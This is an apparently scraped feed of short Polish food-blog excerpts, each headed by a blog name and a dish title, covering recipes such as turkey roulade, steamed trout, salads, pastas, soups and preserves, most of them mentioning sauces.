rozgrzanej patelni, chwilkę smażymy. Kiedy spód kotlecika nam się zarumieni przewracamy go na drugą stronę i również chwilę smażymy. Podajemy od razu po zdjęciu z patelni np. z sosem żurawinowym

Kolizje Smaków
Rolada z indyka z nadzieniem z suszonych moreli i żurawiny 243

stopni na około 45 minut. Po tym czasie wyjmujemy roladę z piekarnika i obkładamy folią aluminiową zostawiając na kwadrans. Mięso podajemy np. z ryżem na ciepło polane sosem

Kolizje Smaków
Pstrąg na parze 264

układamy pstrągi w misce od parownika. Jako dodatek możemy w kolejnej misce dodać oczyszczone młode ziemniaczki. Ustawiamy parownik na 20-25 minut i czekamy. W między czasie możemy przygotować sos czosnkowy lub koperkowy jako dodatek do ryby.   Po tym jak parownik da znam znać, że minął czas wykładamy jedzenie na talerz. Ryby wraz z dodatkami podajemy od razu

Kolizje Smaków
Quesadilla z mozzarella, polędwicą łososiową i rukolą 174

braku takiej funkcji proponujemy zapiec w piekarniku, gdyż w normalnej mikrofali placki strasznie rozmiękną). Wyjmujemy placek i kroimy w trójkąty. Podajemy na ciepło z rukolą i ewentualnie dodatkiem jakiegoś sosu

Kolizje Smaków
Zapiekanka makaronowa 340

Kiedy liście szpinaku zwiędną dodajemy 3/4 śmietany oraz serek topiony. Czekamy aż się rozpuszczą i doprawiamy. Dorzucamy ciepły makaron (najlepiej nie przelany wodą, gdyż wtedy lepiej się połączy z sosem) i mieszamy. Naczynie żaroodporne smarujemy resztą śmietaną. Przekładamy do niego zawartość patelni. Ser trzemy na dużych oczkach i posypujemy zapiekankę. Wstawiamy na 10 minut na 180 stopni do piekarnika

Kolizje Smaków
Sałatka z rukolą, serkiem camembert i gruszką 384

Orzechy włoskie 4 sztuki. Na talerzu układamy rukolę. Na to kładziemy pokrojony w paseczki ser. Gruszkę obieramy i kroimy w kostkę, dorzucamy na sałatkę. Posypujemy pokruszonymi orzechami włoskimi. Przyrządzamy sos z octu i oliwy. Polewamy przygotowane sałatki i zajadamy. Jako dodatek do sałatki możemy podać np. grzanki

Kolizje Smaków
Szaszłyczki z kurczakiem i ananasem 269

następnie układamy na blaszce do pieczenia i polewamy przygotowaną śmietaną. Wstawiamy do nagrzanego na 200 stopni piekarnika na jakieś 7-10 minut. Jeśli została nam śmietana można wykonać sos śmietanowy do naszych szaszłyków. Zajadamy koniecznie na ciepło

Kolizje Smaków
Leczo z kabaczkiem 217

hartujemy, obieramy ze skórki, kroimy w kostkę i dorzucamy do reszty. Zamiast świeżych pomidorów można użyć gotowych z puszki. Mieszamy wszystko razem.   Jeśli preferujemy leczo z dużą ilością sosu to w szklance bulionu rozpuszczamy przecier pomidorowy i dolewamy na patelnie. Wszystko razem mieszamy i doprawiamy: solą, pieprzem odrobiną słodkiej papryki i chili. Dusimy chwilkę razem i podajemy w wydrążonej

Kolizje Smaków
Sałatka z tuńczykiem 449

sypki, a ziarenka nie sklejać się. Paprykę myjemy pod bieżącą wodą i kroimy w kostkę. Podobnie robimy z cebulą. Do miski wrzucamy odsączony groszek i czerwoną fasolkę, tuńczyka w sosie, paprykę oraz cebulę. Następnie dodajemy nieco ostudzony ryż, majonez oraz doprawiamy solą i pieprzem. Zanim zaczniemy pałaszować naszą sałatkę warto odstawić ją na pół godziny do lodówki by smaki się

Kolizje Smaków
Smażony filet z łososia 226

zdaniem traci na tym w smaku. Na patelnie wylewamy nieco oliwy z oliwek oraz na rozgrzaną układamy łososia. Smażymy chwilę z obu stron. Rybę podajemy z masłem ziołowym lub sosem czosnkowym , a jako dodatek proponujemy puree ziemniaczane

Kolizje Smaków
Śledź po litewsku 252

ogniu. Dolewamy wywar z grzybów, a je same kroimy na drobno i dorzucamy na patelnie. Całość dusimy jeszcze 5 minut. Doprawiamy solą i pieprzem. Śledzie układamy na półmisku, polewamy sosem i posypujemy pokrojonym w kostkę ogórkiem kiszonym. Opcjonalnie można wszystko razem wymieszać i podawać w formie sałatki.Smacznego

Kolizje Smaków
Kurczak z ananasem w mleczku kokosowym 264

kroimy w kostkę. Na patelnie wlewamy mleczko kokosowe, pół szklanki wody oraz dorzucamy pomidory i ananasa. Doprawiamy szczyptą kurkumy i dusimy przez chwilę pod przykryciem. Czekamy na zgęstnienie sosu, doprawiamy solą i pieprzem. Zieloną pietruszkę myjemy pod bieżącą woda i siekamy. Dodajemy pod koniec duszenia na patelnie. Danie podajemy z ciepłym ryżem. Smacznego

Kolizje Smaków
Kurczak po meksykańsku 314

tortilli podsmażamy na drugiej patelni, aż się zarumienią i kroimy w trójkąty. Tuż przed podaniem siekamy natkę pietruszki i dorzucamy do mięsa, mieszamy. Na talerz wykładamy kurczaka w sosie wraz z plackami pokrojonymi w trójkąty

Kolizje Smaków
Frytki z piekarnika 308

czasie włączamy termoobieg, żeby się zarumieniły. Wyciągamy jak nabiorą ładnego złotego koloru (u nas to było 5 minut, przy pieczeniu z dwoma blachami). Podajemy na ciepło np. z sosem czonskowym lub ketchupem

Kolizje Smaków
Sałatka z roszponki, selera naciowego i sera gorgonzola 270

winegretem daje niezwykle fajny i wyjątkowy smak. Czas przygotowania: 15 minut Ilość porcji: 2 Składniki: 2 garści roszponki 1 gałązka selera naciowego 4 orzechy włoskie 80 g sera gorgonzola Sos winegret: 3 łyżki oliwy z oliwek 1 łyżka oleju z orzechów ziemnych (można pominąć jeśli nie mamy akurat w domowych zapasach) Kilka kropli soku z cytryny Kilka kropli białego octu

Kolizje Smaków
Krokiety naleśnikowe z pieczarkami 265

potem brzegi do środka. Spinamy przy pomocy wykałaczek. Tak przygotowane krokiety obtaczamy w mleku i bułce tartej. Ponownie podsmażamy na złoty kolor. Powstałe krokiety najlepiej smakują na ciepło z sosem pieczarkowym lub czosnkowym. Smacznego

Kolizje Smaków
Roladki z kurczaka 279

roladkę. Każdy kawałek obtaczamy szynką i zawijamy w folie aluminiową.  Mięso umieszczamy w piekarniku na około 25 minut w temp 180 stopni. Mięso podajemy na ciepło np. z sosem czosnkowym lub koperkowym

Kolizje Smaków
Gulasz 199

nasza mama i to ją postanowiłyśmy namówić by przygotowała wraz z nami przepis na to danie. Wyszło perfekcyjnie. Mięso delikatne, kruche, rozpływające się w ustach, a do tego aromatyczny sos. Samo danie nie jest zbyt pracochłonne, ale wymaga niestety sporo czasu. Najpierw musi leżakować w marynacie, a później gotować się około godziny. Jednak czas oczekiwania zostanie całkowicie wynagrodzony:)   Składniki

Kolizje Smaków
Grillowane filety z kurczaka z truskawkami 282

grillową. Kładziemy na niej filety i smażymy około 4 minut z jednej strony i mniej więcej tyle samo z drugiej (na mięsie powinny pojawiać się ciemne paski.) Następnie polewamy sosem z truskawkami i po chwili odstawiamy z ognia. Dekorujemy świeżym rozmarynem i podajemy np. z frytkami z piekarnika i sałatką

Kolizje Smaków
Papryka marynowana z rozmarynem 237

króluje u nas w przetworach. Tradycyjnie Margarytka zadbała o to bym się w kuchni nie nudziła, przywiozła mi 10 kg papryki prosto od producenta. Przygotowałam już z niej pyszne sos paprykowy i niesamowicie smaczną pasty paprykową, a teraz przyszła pora na paprykę marynowaną, ale z dodatkiem rozmarynu. Ten pomysł na dodanie rozmarynu do słoika zobaczyłam na grupie Zdrowo Podjeść. Papryka

Damsko-męskie spojrzenie na kuchnię
Pomidory ze słoika, zamiast z puszki :) 217

pomidorki, zwłaszcza, że to także chyba już ostatni dzwonek w tym roku. U nas pomidorki już niestety drożeją :( Przydadzą się w sam raz jako dodatek do spaghetti czy innych sosów. Składniki: 3 kg pomidorów, 1,5 łyżeczki soli, 3 łyżki cukru, świeża bazylia. Pomidory należy sparzyć i obrać ze skórki, pokroić w większą kostkę, dodać sól i cukier, wymieszać

Delicious Titbits
Mini tarty z suszonymi pomidorami i łososiem 328

upieczeniu na tarty nakładamy kawałek łososia i posypujemy go odrobiną pokrojonego szczypiorku.   Tarty wychodzą bardzo smaczne kiedy są jeszcze ciepłe. Natomiast znakomicie smakują również na zimno z odrobiną sosu czosnkowego na bazie jogurtu greckiego. :-) Smacznego

kuchnia do kwadratu
Szybkie Wielkanocne pasty do jajek 315

ziołami- pomidory są z zalewy,więc są już dosyć mocno doprawione. Pastę wstawiamy na 15 minut do lodówki Pasta łososiowa z kukurydzą Składniki: 100g serka naturalnego 90g łososia w sosie własnym 4 łyżeczki kukurydzy 6 oliwek 1/4 cebuli pieprz odrobina soli  Wszystkie składniki kroimy w drobną kostkę, dodajemy rozgniecionego widelcem łososia, serek, przyprawy. Wstawiamy na 15 minut do lodówki

kuchnia do kwadratu
Relacja ze Street Food Festiwal - 16.06.13 Warszawa 166

się to, że placki był świeżo wypiekane na tyłach stoiska, co naprawdę było czuć jedząc laffę. Ja zamówiłam tę z falaflem, jako dodatki miałam marchewkę z pietruszką i sosy - była bardzo aromatyczna, świeża, po prostu pyszna. Planuję wybrać się do tej restauracji poza festiwalowo:) Druga restauracja śródziemnomorska to marokański Mahreb serwujący kebaba w bułce, baba ganoush, oliwki a nawet marokańskie

Chilli Czosnek i Oliwa
Letnia zupa minestrone z młodych warzyw 242

soczewicy . 6. Na koniec do zupy dodajemy drobny makaron (dowolny kształt) i posypujemy parmezanem . Możemy też podać ryż lub grzanki z chleba. Ciekawym dodatkiem zwieńczającym zupę jest łyżeczka sosu pesto, jak we włoskiej Minestrone alla Genovese lub prowansalskiej zupie soupe au pistou .  Letnia zupa minestrone z młodych warzyw - przepis Składniki: 1 młody seler 1 młody por pęczek młodych marchewek

Chilli Czosnek i Oliwa
Panzanella czyli toskańska sałatka chlebowo-pomidorowa 234

sałatce nie namaczamy chleba, lecz najpierw pieczemy go w piekarniku, a następnie dokładnie mieszamy rękoma upieczone grzanki z pozostałymi składnikami, miażdżąc chleb i pomidory. Chleb mięknie, wchłaniając cudowny sałatkowy sos i sok z pomidorów. Staje się aromatyczny i naprawdę pyszny. Dla mnie ta sałatka jest kolejnym dowodem na zaradność włoskich gospodyń , w pyszny sposób wykorzystujących czerstwy chleb w duchu

Chilli Czosnek i Oliwa
Libański ryż z soczewicą i karmelizowaną cebulką - Mujaddara 207

surową odpowiedniczką. Karmelizowana cebula jest podstawą sławnej francuskiej zupy cebulowej . Inne wykorzystania to: dodatek do burgerów nadzienie do tart, tartinek, gallette jako zwieńczenie steka przygotowuje się z niej świetne sosy do mięs. Jak widzicie, większość odwołuje się do kuchni francuskiej . W Internecie możecie również spotkać się z konfiturą z karmelizowanej cebuli , uzyskaną przez długie jest smażenie z cukrem, miodem, winem

Chilli Czosnek i Oliwa
Greckie wakacje cz. 2 - Pamiątki z Grecji (kulinarne i nie tylko) 231

aromat migdałowy do ciast i nie przypadł mi do gustu. Za to syrop cynamonowy - kanelada (skład to woda, cukier, cynamon i goździki) jest bardzo smaczny, słodki, niczym cynamonowy sos do szarlotki ( hmmm... to może być ciekawe połączenie.. ). Można nim polewać lody czy naleśniki. Ouzo Ouzo to mocny alkohol (do 48% zaw. alkoholu) o charakterystycznym smaku anyżu. Podaje się

Chilli Czosnek i Oliwa
Tażin z kurczaka z kiszonymi cytrynami i oliwkami - Djaj Mqualli 271

się wydawało, tażiny w Maroku nie są jedzone z kuskusem, które podaje się raczej jako osobne danie. Bardziej autentycznym dodatkiem do tażinu jest chleb, którym można wycierać resztki sosu, lub frytki układane na wierzchu dania (wg maroccanfood.about.com

Chilli Czosnek i Oliwa
Chlebki pita - historia i przepis 255

wtedy wytworzyć odpowiednie kieszonki. Chlebki pita tradycyjnie pełniły dwie role - jedzenia oraz naczynia kuchennego , z powodzeniem zastępując biesiadnikom sztućce oraz talerz. Placki pokrojone w trójkąty wykorzystuje się do nabierania sosów i dipów , np. hummusu (dipu z ciecierzycy) czy taramosalata (greckiej pasty z ikry). W chlebki, niczym w placki tortilla, zawija się różne składniki, lub też wkłada się je do wnętrza

Chilli Czosnek i Oliwa
Kiełbasa chorizo smażona z papryką i cebulką 267

czego potrzeba, aby wyczarować z jej udziałem wspaniały posiłek. Chętnie przygotowujemy z Mężem takie danie na śniadanie lub kolację. Koniecznie podaję je z chlebem, gdyż wycieranie talerza z pomarańczowego sosu to mój ulubiony moment :)  Chorizo to tradycyjna hiszpańska kiełbasa produkowana z wieprzowiny . Swój charakterystyczny czerwony kolor zawdzięcza sporemu dodatkowi suszonej papryki pimenton , zazwyczaj wędzonej, która nadaje jej ostrego bądź

Chilli Czosnek i Oliwa
Bożonarodzeniowe tradycje kulinarne - Włochy 169

lasagne alla Bolognese , cannelloni, pasticcio al forno , czy różne pierożki - agnolotti, ravioli, tortellini – przygotowywane „na bogato”, z dużą ilością mięsa i sera. Na południu popularna jest lasagne z sosem pomidorowym, mięsem wieprzowym i kilkoma rodzajami serów. Secondo to obowiązkowo sztuka pieczonego mięsa , najchętniej jagnięciny, cielęciny, wołowiny, czy kurczaka z ziemniakami i warzywami. Crostini z pasztetem z wątróbki, lo zampone – świńska

Chilli Czosnek i Oliwa
"Hummus z południowych Włoch" 201

doskonale aromatyzuje doprawiane nim produkty. Nigdy go nie wylewam, tylko trzymam w lodówce i dodaję po troszku do różnych dań. Taki olej będzie stanowił np. wspaniałą bazę do sosów sałatkowych. Podawajcie ten hummus z opieczonym w piekarniku pieczywem lub pokrojonymi w słupki świeżymi warzywami (marchewka, seler naciowy, papryka). Jest to fajna propozycja dania na przyjęcie dla wegetarian. "Hummus z południowych

Chilli Czosnek i Oliwa
Empanadas z tuńczykiem - przekąska na imprezę. 399

smalcu (lub 50 g masła) 75 g białego wina 300 g wody 300 g mąki pszennej sól na farsz: 2 posiekane cebule 2 łyżki oleju 2 puszki tuńczyka w sosie własnym 1 pomidor pokrojony w kostkę 5-6 łyżek bułki tartej 3 łyżki mleka łyżka posiekanej natki pietruszki sól, pieprz, płatki chilli do smaku smalec lub olej do smażenia

Chilli Czosnek i Oliwa
Dip z pieczonych buraków z za'atarem 259

przygotowanych warzyw, koniecznie spróbujcie. Pieczenie potrafi wydobyć niesamowite słodkie nuty ze zwykłych ziemistych bulw i korzeni. Chipsy z pieczonych warzyw z solą morską to jest prawdziwa pycha! A pamiętacie sos z pieczonych pomidorów ?  Podobnie jest w burakami - pieczenie usuwa ziemisty posmak tego warzywa i w takiej formie są słodsze i delikatniejsze niż ugotowane . Można pokroić je w cienkie plasterki

Chilli Czosnek i Oliwa
Relacja z Targów Produktów Tradycyjnych i Ekologicznych - Regionalia 2014 153

również dobrze nam znane stoisko z produktami bułgarskimi - ta firma wie, jak się promować i jest obecna na prawie wszystkich festiwalach. Urzekają czerwieniącymi się słoiczkami pełnymi paprykowo-bakłażanowych dobroci. Sos pepperonata - o to co u nich kupiliśmy.  Na koniec ów powiew nowoczesnych trendów - napój z yerba mate o nazwie Bombilla . Bez konserwantów, słodzony tylko owocami - zdrowa alternatywa dla popularnych

Chilli Czosnek i Oliwa
Dieta śródziemnomorska - zasady diety 260

zaspokajali świeżymi i suszonymi owocami oraz tureckimi słodyczami loukoumi (to te małe galaretki), które nie zawierają tłuszczu. Pyszne greckie przekąski: dolmades (faszerowane liście winogron) i gigantes plaki (fasola w sosie pomidorowym). Do tego lekkie wino - retsina.  5. Pij czerwone wino, ale w umiarkowanych ilościach. Ponieważ w diecie śródziemnomorskiej rekomenduje się picie wina, wiele osób myśli, że może bezkarnie wypijać

Chilli Czosnek i Oliwa
Zielony pilaw ze szparagami i bobem 206

zostaw pod przykryciem jeszcze na 2-3 minuty. W tym czasie wymieszaj jogurt z oliwą i miętą, dopraw solą.  Gotowy pilaw przemieszaj widelcem, aby wzruszyć ryż. Podawaj z sosem jogurtowo-miętowym. Smacznego! To kto zagra ze mną w zielone?:) Przepis dodaję do akcji

Chilli Czosnek i Oliwa
Makaron z cytryną i tymiankowymi pieczarkami 305

świeżo zmielony pieprz 500 g makaronu - najlepiej pasuje cienki i długi: spaghetti, linguine, papardele Przygotowanie: Makaron wrzuć do garnka z dużą ilością posolonego wrzątku. Gdy się będzie gotował, przygotuj sos. Pieczarki wyszoruj i pokrój w cienkie plasterki (do tego dania wybieram świeże pieczarki o białych kapeluszach i ich nie obieram, tylko dobrze czyszczę pod wodą). Wrzuć je do dużej miski

Chilli Czosnek i Oliwa
Jajka zapiekane z botwinką i parmezanem 205

żółtko pozostanie w całości.  W czasie moich wędrówek po Internecie natrafiłam także na włoską odmianę zapiekanych jajek - Uova al Forno , czyli jajka z pieca. Włosi zapiekają jajka z sosem pomidorowym i serem  (a jakże by inaczej) i nazywają Uova Al Pomodoro , choć nie koniecznie umieszczają je w małych naczynkach, tylko w większych formach do zapiekania dla kilku osób

Chilli Czosnek i Oliwa
Sałatka z pomidorów i brzoskwiń z grillowanym kurczakiem 222

śniadanie. Dotąd udało mi się przekonać jedynie do kurczaka z ananasem (sławny kurczak po hawajsku) i kaczki z jabłkami (pycha mojej Mamy :)), ale wołowina z truskawkami lub wieprzowina z sosem porzeczkowym - w życiu! Jednak od czasu do czasu staram się przełamywać moje uprzedzenia kulinarne i spróbować czegoś nowego. Tak było z moją dzisiejszą propozycją, letnią sałatką z pomidorów i brzoskwiń

Chilli Czosnek i Oliwa
Makaron z cukinią i wędzonym łososiem 377

smaku doprawić solą ziołową. Gdy cukinia będzie gotowa dodać posiekany koperek oraz śmietankę. Wszystko dokładnie wymieszać i jeszcze chwilę dusić. Makaron ugotować al'dente.Osączyć i wrzucić do sosu. Dodać kawałeczki wędzonego łososia i dokładnie wymieszać. Można podawać

Monia miesza i gotuje
Sałatka z wędzonym łososiem znad Bałtyku! ;-) 261

niskokaloryczna! SKŁADNIKI: - 3 łyżki wędzonego łososia około 100-120 g  - pomidor - zielona papryka (1/4 szt) - czerwona papryka (1/4 szt) - sól morska - pieprz  - rukola duża garść - NA SOS: sok z cytryny, 1/2 łyżeczki miodu, łyżka wody

SMYKWKUCHNI
Stromboli 224

uzyskania złotego koloru ciasta. Po wystygnięciu jest gotowe do jedzenia. Smacznego Rada. W przepisie można oczywiście użyć jakieś inne składniki do nadzienia, jak i również jakiegoś innego sosu do pizzy niż ten na bazie koncentratu pomidorowego i wody. Można też kupić gotowe ciasto na pizze zamiast samemu zarabiać. The post Stromboli appeared first on zjem to blog kulinarny

zjem to blog kulinarny
WEGAŃSKIE BURGERY MARCHEWKOWE 252

szklanki startej marchwi 1 szklanka ugotowanej kaszy jaglanej 1 cebula 100g pestek dyni ok. 1/2 szklanki bułki tartej 1/3 szklanki oleju 3 łyżki mąki posiekana natka pietruszki 3 łyżki sosu sojowego płatki chili, imbir mielony Wszystkie składniki mieszam ze sobą tak, aby masa była odpowiednio klejąca i dało się z niej uformować burgery. Jeśli trzeba, dodaję oleju lub mąki. Doprawiam

W kuchni Karmel-itki
Zupa paprykowa z wołowiną 223

Sierpień to miesiąc, w którym przygotowuję różne dania z papryką, gdyż wtedy to warzywo jest bardzo tanie. Marynuję paprykę w słoikach, przygotowuję paprykę faszerowaną, przygotowuję też zupy, pasty, czy sosy paprykowe do słoików. Tym razem ugotowałam gęstą, sycącą i rozgrzewającą Zupę paprykową z wołowiną. Zupa została przygotowana z dodatkiem niesamowicie smacznej pasty paprykowej, którą zrobiłam na zimę do słoików. Dzięki

Damsko-męskie spojrzenie na kuchnię
Odwrócone ciasto aroniowe 166

nożem okrawać dookoła, by oddzielić je od ścian naczynia. Założyć rękawice kuchenne. Wierzch naczynia z ciastem przykryć odwróconym półmiskiem i szybko obrócić całość, by wyłożyć ciasto. (Ostrożnie, bo karmelowy sos jest bardzo gorący

Gorący kąsek
Żurawinowo. Leniwie. I jeszcze raz kalafiorowo 237

musiałam zużyć fetę, notabene też upchniętą w czeluści lodówki. Leniwie, bo leniwie, nafaszerowana żurawiną zabrałam się za leniwe. Z delikatną nutką kalafiora. Z podsmażonymi pieczarkami z cebulą w sosie pieczeniowym z prażoną cebulką. Pyszne! Stwórca pochwalił ;) połowa kalafiora szklanka mąki pszennej (plus do podsypania) opakowanie fety (250g) jajko (żółtko i białko) zioła prowansalskie pieprz Kalafiora podzieliłam na różyczki i uparowałam

bastalena
Makaron z cukinią i cytryną inspirowany przepisem Gino D'Acampo 245

solą i dokładnie mieszać. W międzyczasie w dużym garnku gotować al dente makaron w osolonym wrzątku. Gdy makaron jest gotowy, dokładnie go odcedzić i wrzucić na patelnię z cukiniowym sosem. Wszystko bardzo dokładnie mieszać, podgrzewając na średnim ogniu mniej więcej 30s. Podajemy natychmiast, posypane parmezanem

Gorący kąsek
Polędwica kebabowa 213

żaroodporne wysmarować oliwą. Mięso wyjąc z folii i przełożyć do naczynia żaroodpornego.Wstawić do piekarnika nagrzanego do 190 stopni. Piec około 35-40 minut, co jakiś czas podlewać powstającym sosem  [  ja przełożyłam mięso do rękawa i pod koniec pieczenia rozcięłam rękaw] .Wyjąć i ostudzić.Pokroić w plastry i podawać na zimno do kanapek

Moje domowe kucharzenie
Panzanella (toskańska sałatka pomidorowa z chlebem) 475

misce, doprawiamy je solą i pieprzem. Odsączamy kapary z zalewy i dodajemy do pomidorków razem z posiekaną cebulką, papryką, podsmażoną bagietką ( można dodać anchois ). Mieszamy całość, następnie przygotowujemy sos z octu jabłkowego i 3 łyżek oliwy z oliwek. Polewamy nim sałatkę. Dodajemy małe listki bazylii, mieszamy razem i jemy z apetytem. Sałatkę Panzanella podajemy do mięsa z grilla np. grillowanej

Damsko-męskie spojrzenie na kuchnię
Pikantna wieprzowina w pomidorach 220

Przygotowanie:  Na oliwie podsmażamy plasterki czosnku razem z mieloną wieprzowiną, gdy mięso zmieni kolor, dodajemy puszkę pomidorów pelati razem z sokiem oraz cieciorkę, cayenne, oregano, dusimy, aż sos zgęstnieje, doprawiamy do smaku, podajemy posypane posiekaną natką z pietruszki

Moja smaczna kuchnia
Pavlova z Karmelizowanymi Owocami 181

momentu aż karmel nam się ponownie rozpuści. Dodajemy owoce i około 3 minut dusimy. Wykonanie: Bezę wykładamy na paterę. Do środka nakładamy krem. Na krem układamy owoce razem z sosem owocowym. Beza gotowa jest od razu do spożycia. Przechowujemy w lodówce. Samą bezę bez kremu możecie przygotować dzień wcześniej. The post Pavlova z Karmelizowanymi Owocami appeared first on Made

Made By Mom And Son
Sałatka z tuńczykiem i pasta z awokado! OBIAD FIT! 454

zdrowa, sycąca, podana z pieczywem i pastą z awokado! Niezastąpiona!  SKŁADNIKI: - sałata masłowa 15 liści - 4 pomidorki koktajlowe - 1/2 ogórka zielonego - 1 cebulka dymka - 1/3 puszki tuńczyka w sosie własnym - zioła prymat do sałatki PASTA Z AWOKADO: - 1/2 awokado - 3 łyżki sera chudego - sól morska - sok z cytryny do smaku - 12 listków bazylii Całość zmiksować POLECAM! BUUUZIAKI

SMYKWKUCHNI
Schab pieczony w antonówkach i cydrze lubelskim 223

przypadł do gustu - lekki, delikatnie musujący, cudownie gasi pragnienie w upalne dni, które są już dziś tylko wspomnieniem... Podwójnie jabłkowy dopalacz dał w efekcie danie mięsne w orzeźwiająco-kwaskowym sosie :) Składniki: 1 kg schabu, 4 dorodne antonówki 250 gram szalotek, 250 wędzonego boczku, garść rodzynek 8-10 kapsułek kardamonu (nasionka wyjmujemy z kapsułek i rozcieramy w moździerzu) 0,5 litra

Delicious Titbits
Po prostu pizza 207

domową pizzę.  Dodatki według uznania. Składniki : 0,5 kg mąki 8 g drożdży instant łyżeczka cukru łyżeczka soli 2 łyżki oleju lub oliwy kubek ciepłej wody ok.300 ml sos pomidorowy, cebula, żółty ser itp. przyprawy do pizzy Zobacz  cały przepis

w kuchni i w ogrodzie
surówka z kapusty 227

Bardzo prosta a przede wszystkim wartościowa przystawka. Można ją wykończyć wedle uznania ulubionymi sosami. Jest to doskonała baza do stworzenia własnej niepowtarzalnej surówki. Składniki : Biała kapusta (ćwiartka dużej lub połowa małej) sól, pieprz olej koperek Zobacz  cały przepis

w kuchni i w ogrodzie
Bulion drobiowy 194

Bulion z mięsa drobiowego jest bazą wielu zup i sosów.  Przede wszystkim kojarzy mi się z przepysznym rosołkiem. Ale można też na nim ugotować zupę ogórkową lub świąteczny żur. Zawsze gotuję więcej bo nie wiadomo kiedy może się przydać. ... Składniki: 2 lub 3 skrzydełka z indyka cebula sól, pieprz, ziele angielskie, listki laurowe, tymianek lub rozmaryn Zobacz cały przepis

w kuchni i w ogrodzie
obiad na niedzielę 178

przygotować dzień wcześniej. Składniki (na 10 gołąbków): mała główka białej kapusty pół kilograma mięsa szklanka ryżu cebulka lub 2 ząbki czosnku sól, pieprz, olej ewentualnie szklanka bulionu drobiowego i/lub sos pomidorowy Przejdź do przepisu

w kuchni i w ogrodzie
Domowe frytki 203

Szybko i smacznie. Spróbuj domowych frytek, bez chemicznych dodatków. Składniki: kilogram ziemniaków pół litra oleju sól sos do frytek Sposób wykonania

w kuchni i w ogrodzie
Surówka z marchwii i pietruszki 167

Bardzo prosta i szybka przystawka. Składniki: 3 marchewki korzeń pietruszki ewentualnie sos  Rozwiń przepis

w kuchni i w ogrodzie
Bitki z karkówki 181

dodajemy gdy mięso dusi się z pół godziny. Dodajemy też czubatą łyżeczkę soli i majeranku. Dusimy jeszcze godzinę, mięso ma być kruche i różowe. Przed wyjęciem dodaję do sosu pieprz i dosalam jeśli trzeba

prawdziwe jedzenie
Fasolka po bretońsku 256

mięso i cebulkę a na sam koniec czosnek. Dodajemy je do fasoli gdy zrobi się miękka ale nie papkowata. Dodajemy przyprawy. Kilka fasolek miksujemy z pomidorami i wlewamy do sosu, żeby go zagęścić. Gotujemy jeszcze chwilę i podajemy na ciepło

prawdziwe jedzenie
Surówka z marchwii i pietruszki 233

Bardzo prosta i szybka przystawka. Składniki: 3 marchewki korzeń pietruszki ewentualnie sos Warzywa myjemy, cienko obieramy i ścieramy na tarce o małych oczkach. Mieszamy. W tym momencie mamy już gotową surówkę. Moje dzieci lubią najbardziej takie proste potrawy. Wielu dorosłych dodaje do tego jeszcze kapkę majonezu lub chrzanu ze słoiczka

prawdziwe jedzenie
Błyskawiczna pasta z tuńczykiem 205

majonez lub musztarda(opcja) sól, pieprz Gotujemy jajka na pół miękko, tzn. ok. 4-5 minut i od razu studzimy w zimnej wodzie. W tym czasie odlewamy na sitku sos z tuńczyka. Siekamy pietruszkę. Ostudzone i obrane jajka miksujemy z tuńczykiem i natką.  Mieszamy z kukurydzą i ewentualnie doprawiamy. Można też dodać łyżkę majonezu

prawdziwe jedzenie
Domowe frytki 258

Szybko i smacznie. Spróbuj domowych frytek, bez chemicznych dodatków. Składniki: kilogram ziemniaków pół litra oleju sól sos do frytek Dobrze jest wybrać spore ziemniaki. Odmiany jakie pasują na frytki to min. Viktoria, Irys, Irga. Ziemniaki obieram, myję i kroję w słupki. Olej podgrzewam w głębokim garnku. Wrzucam jedną frytkę. Kiedy wokół frytki zaczną wrzeć bąbelki to znaczy, że temperatura tłuszczu

prawdziwe jedzenie
Najszybsze kluski ziemniaczane 311

wrzątek,  gdy wypłyną czekamy jeszcze 2 minuty i wyławiamy.  Podajemy na słodko z dżemem lub posypane cukrem i polane masłem.  Natomiast na obiad najlepsze są w sosie mięsnym lub z duszonymi warzywami

prawdziwe jedzenie
Bulion drobiowy 212

Bulion z mięsa drobiowego jest bazą wielu zup i sosów.  Przede wszystkim kojarzy mi się z przepysznym rosołkiem. Ale można też na nim ugotować zupę ogórkową lub świąteczny żur. Zawsze gotuję więcej bo nie wiadomo kiedy może się przydać. ... Składniki: 2 lub 3 skrzydełka z indyka cebula sól, pieprz, ziele angielskie, listki laurowe, tymianek lub rozmaryn Mięso myjemy

prawdziwe jedzenie
Kurczę pieczone w ziołach 218

Gorczycę można zastąpić łyżką musztardy. Do kurczaka koniecznie dodajemy też czosnek. Mięso smarujemy powstałym sosem. W naczyniu do pieczenia układamy listki laurowe, gałązkę rozmarynu i plastry cebuli. Na to kładziemy nóżki z kurczaka. Pieczemy

prawdziwe jedzenie
Papryka faszerowana po grecku 417

Wpis pochodzi z www.mgotuje.pl Papryka faszerowana w stylu greckim z mięsem mielonym, ryżem oraz serem feta. Podane z sosem z czarnych oliwek i gęstej śmietany. Pyszna i sycąca propozycja na obiad lub kolację. Polecam Post Papryka faszerowana po grecku pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
Sałatka z fasolki szparagowej 491

dania które nie wymagają wiele nakładu pracy, a dadzą pyszny efekt i za to właśnie uwielbiam sałatki. Wystarczy połączyć kilka składników wraz z ulubionym sosem, by stworzyć pożywny i zdrowy posiłek, który często zabieram ze sobą w pojemniku. Zamiast kupować niezdrowe buły wolę poświęcić 10 minut wieczorem na stworzenie czegoś, co zjem ze smakiem. Niestety większość sklepowych bułek jest

Fabryka pomysłów
Sałatka zapałeczka i Wiki pierwszy raz 273

odsączamy. Kiełbasę, ser i paprykę kroimy w zapałeczki/słupki/patyczki (jak zwał, tak zwał). Musztardę, ketchup i majonez łączymy w oddzielnym naczyniu, żeby można było spróbować  powstały sos. Łączymy składniki i dobrze mieszamy.  Sałatkę najlepiej przygotować dzień wcześniej, żeby się przegryzła

Co w głowie piszczy
Sałatka rybna na święta 2296

możecie użyć innej ryby, kto jaką lubi taką dają. Sałatka przygotowana na nasz wigilijny stół :) SAŁATKA RYBNA Ciasto "naleśnikowe": 0,5 szkl. wody 1 szkl. mąki 1 jajko vegeta Sos: 1 słoik koncentratu pomidorowego 4 łyżki ketchupu 3 łyżki octu 2 łyżki cukru sól 0,5 szkl. oleju 1 szkl. wody Składniki sałatki: 1 kg filetów 1 słoik papryki konserwowej

Co w głowie piszczy
Wakacyjne Spring Rolls 273

moczymy przez kilka sekund papier ryżowy. Nakładamy: umyty i osuszony szpinak, paski piersi z kurczaka, 2 kawałeczki cukinii i pokrojony pomidor. Papier zwijamy (wpierw boki, potem dół). Podajemy z sosem sojowym lub ketchupem. Smacznego

Truskawkowa Fiesta
Płatki ziemniaczane od JANTAR ZPZ STOLON 306

